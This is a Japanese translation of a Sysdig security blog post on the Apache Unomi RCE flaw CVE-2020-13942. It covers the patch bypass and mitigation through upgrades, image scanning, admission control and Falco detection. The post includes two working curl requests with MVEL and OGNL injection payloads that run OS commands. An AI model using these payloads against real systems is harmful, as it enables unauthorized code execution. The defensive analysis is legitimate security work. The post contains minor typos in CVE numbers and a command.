Apache Unomi の CVE-2020-13942 – リモートコード実行 (RCE) の検出と緩和

By 清水 孝郎 - MARCH 10, 2021

SHARE:

本文の内容は、2021年3月10日にStefano Chiericiが投稿したブログ(https://sysdig.com/blog/cve-2020-13942-uomi/)を元に日本語に翻訳・再構成した内容となっております。

CVE-2020-13942 は、Apache オープンソースアプリケーション Unomi に影響を与える重大な脆弱性で、 リモートの攻撃者が任意のコードを実行することを許してしまいます。

1.5.1 より前のバージョンでは、Apache Unomi はリモートの攻撃者が任意のコードを含む可能性のある MVEL や OGNL 式を使って悪意のあるリクエストを送信することができ、結果として Unomi アプリケーションの権限でリモートコード実行 (RCE) が行われてしまいます。

潜在的な攻撃者がアプリケーションに到達し、クラフターの OGNL や MVEL ペイロードを含む HTTP リクエストを送信することができれば、脆弱性を悪用してマシンやポッド上で任意のコードを実行できる可能性があります。

この記事を読むことで、この問題を理解し、Apache Unomi のどの部分が影響を受けるのかを理解し、Sysdig Secure を使用して脆弱性を緩和する方法を学ぶことができます。

Apache Uomi とは？

Apache Unomi はオープンソースの顧客データプラットフォームであり、Apache ソフトウェア基盤の一部です。Unomiは、ユーザーのプロファイルやプロファイルに関連するイベントを管理するRESTサーバです。CMS、CRM、イシュートラッカーなど、非常に異なるシステム内でパーソナライズとプロファイル管理を統合するために使用することができます。

ここ数年、OGNLの重大なセキュリティ問題で標的にされたApache Strutsに起こったことと同様に、Apache Unomiは式言語（OGNLまたはMVEL）を使用して、ユーザーが複雑で粒度の高いクエリーを編集できるようにしています。

実行可能なコードを作成したり変更したりする性質上、それを使用するフレームワークにクリティカルなフローを導入していることが多いです。

CVE-2020-13942 の問題

CVE-2020-13942 の問題点は以下の通りです。Apache Unomi のバージョンが 1.5.1 以下の場合、2 つの攻撃ベクトルが考えられます。

  1. MVEL インジェクションによる RCE
  2. OGNL インジェクションによる RCE

以前の脆弱性が適切にパッチされていない

以前の CVE の修正では、SecureFilteringClassLoader クラスが追加されました。これは式で使用されるクラスをホワイトリストとブロックリストと照らし合わせてチェックし、 OGNL 式の実行を制限します。しかし、MVEL の式はカバーしていませんでした。

今回適用されたパッチの問題点は、SecureFilteringClassLoader が、MVEL 式と OGNL 式の両方に含まれるすべてのクラスが ClassLoader クラスの loadClass() メソッドを使ってロードされることを前提にしていることです。しかし、ランタイムやシステムなどのインスタンス化された組み込みのシステムレベルのクラスを使用して、loadClass() を呼び出さずにクラスをロードすることは可能であり、適用されたパッチを完全にバイパスし、Unomi を RCE にオープンなままにしておくことができます。

OGNL の場合も同様で、Java リフレクション API を使用して、loadClass() の呼び出しをトリガせずに OGNL 式内のクラスをロードすることができます。

CVE-2020-23942 の悪用

脆弱性を悪用するには、8181番ポートと9443番ポートの両方を利用することが可能です。両方のベクターに使用されるコードは OGNL をターゲットとしており、MVAL は比較的類似しています。

以下の細工された HTTP リクエストには MVAL 式が含まれており、これは Runtime オブジェクトを作成し、ホストまたはポッド上で任意の OS コマンドを実行します。

curl -X POST http://<host>:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"mvel-poc ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"touch /tmp/mvel-poc\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"mvel-poc"}'

pod上のコマンドラインを確認すると、「test-mvel」というファイルが正常に作成されていることがわかります。

先ほどのケースと同様に、OGNL式を含んだHTTPリクエストで、JavaのリフレクションAPIを使用してランタイムクラスをロードしているのがわかります。

curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"ognl-poc","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl-poc\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"ognl-poc"}'

この場合でも、pod上でOSコマンドが正しく実行され、ファイルが作成されています。

このCVE-2020-13942の問題を解決するために、Apache Unomiからパッチがリリースされ、1.5.2版に含まれています。

開発者はこのパッチでいくつかの緩和を行い、主にデフォルトでOGNLを無効にし、OGNLのサンドボックスを改善し、MVELの式をサニタイズし、システムレベルのクラスを防ぐためにそのインポートを変更しました。下のコードから、ExpressionFilter.javaというファイルでは、RuntimeやProcessBuilderなどのMVELスクリプトでは想定されていないオブジェクトをフィルタリングするために正規表現が使用されていることがわかります。

また、RuntimeやProcessBuilderなどの潜在的に危険なクラスは、MVELランタイム内のStringクラスが新しいクラスMvelScriptExecutorで上書きされています。

CVE-2020-13942の影響について

この問題を悪用すると、アプリケーション権限を利用してシステム上で任意のコマンドを実行することが可能です。

CVSS3システムによると、複雑性が低く、機密性、完全性、可用性の面で影響が大きいことから、Critical Severityとして9.8のスコアを付けています。

最悪のシナリオでは、攻撃者はアプリケーションを実行するために使用している特権を使用してコードを実行することができます。アプリケーションが root で実行されている場合、攻撃者はマシンを完全に制御することができます。しかし、多くの場合、アプリケーションは特権を持たないサービスユーザによって実行されているため、ホストを完全に制御するためには、攻撃者はマシンやpod内の特権をエスカレートさせなければなりません。

CVE-2020-13942 を緩和する

この CVE の影響を受けた場合は、直ちにアプリケーションを最新バージョンにアップデートするか、少なくとも 1.5.2 バージョンにアップデートする必要があります。

すぐにシステムにパッチを当てることができない場合、この脆弱性を悪用しようとする試みを検知することは、攻撃を防止または阻止するために非常に重要です。脆弱性の影響を受けるシステムやコンテナを既にアップグレードしている場合でも、自分の環境における悪用の試みや侵入後の活動を検知することはとても重要です。

この脆弱性を検出して緩和するためには、アプリケーションのライフサイクルの中で 3 つの異なる局面にアクションを行う事が必要です。

  1. ビルド中、イメージスキャナーを使用します。
  2. デプロイ時には、アドミッションコントローラにおいてイメージスキャナーを使用します。
  3. ランタイム検出エンジンを使用して、すでにデプロイされているホストやpodの悪意のある動作を検出します。

それでは、それぞれについて見ていきましょう。

1. ビルド：イメージスキャナ

イメージスキャナを使用して、コンテナイメージの内容やビルドプロセスを分析し、セキュリティ上の問題や脆弱性、不正行為を検出することができます。

レポートの結果を確認すると、特定の CVE が環境に既にデプロイされているイメージで検出されているかどうかを検索することができます。

この場合、CVE-2020-13942 が特定の 1 つのイメージに影響を与えていることがわかります。

2. デプロイ：アドミッションコントローラにおけるイメージスキャナ

アドミッションコントローラにイメージスキャンを実装することで、スキャンポリシーに準拠したワークロードイメージのみをクラスター内で動作させることができます。

このコンポーネントは、名前、タグ、ネームスペース、CVE深刻度レベルなどに基づいて、異なる評価基準を使用してイメージを拒否することができます。

この特定のCVEに対するポリシーを作成して割り当てると、アドミッションコントローラは新しいデプロイイメージを評価し、このセキュリティ問題が検出された場合にデプロイメントをブロックします。

3. 3. 実行と対応 ：イベント検出

Falco のようなランタイム検出エンジンツールを使用すると、コンテナがすでに本番環境にある間にランタイムで発生する攻撃を検出することができます。

攻撃者がこの特定の脆弱性を悪用して、pod上でリバースシェルを開こうとしているとします。この場合、Falcoのランタイムポリシーは、悪意のある動作を検出してセキュリティアラートを出すことができます。

まとめ

CVE-2020-13942 脆弱性は、オープンソースの Apache Unomi アプリケーションで見つかったバグを利用して、悪意のあるユーザがマシンやpod上で任意のコードを実行することを可能にします。

CI/CD パイプラインのように、コンテナのライフサイクルのいくつかの場所でイメージスキャナーを使用し、リバースシェルを検出するランタイムセキュリティツールを使用することをお勧めします。これらの戦略を併用することで、セキュリティチームはこの脆弱性を標的とした攻撃に対応し、攻撃をブロックし、影響を受けた実行中のコンテナを事前に報告することができます。

Sysdig Secure を使用すると、ユーザーはコンテナイメージをスキャンして、脆弱性のあるコンポーネントが存在し、CVE の影響を受けているかどうかを検出することができます。Sysdig Admission Controllerを使用することで、スキャンポリシーに準拠したイメージのみがデプロイされるようにすることができます。さらに、Sysdig Secureに組み込まれたFalco検出エンジンのおかげで、ランタイム時に発生する可能性のある脆弱性を悪用しようとする悪意のある動作を検出してブロックすることが可能です。

わずか数分でSysdigを使い始めることができます。今すぐお試しください！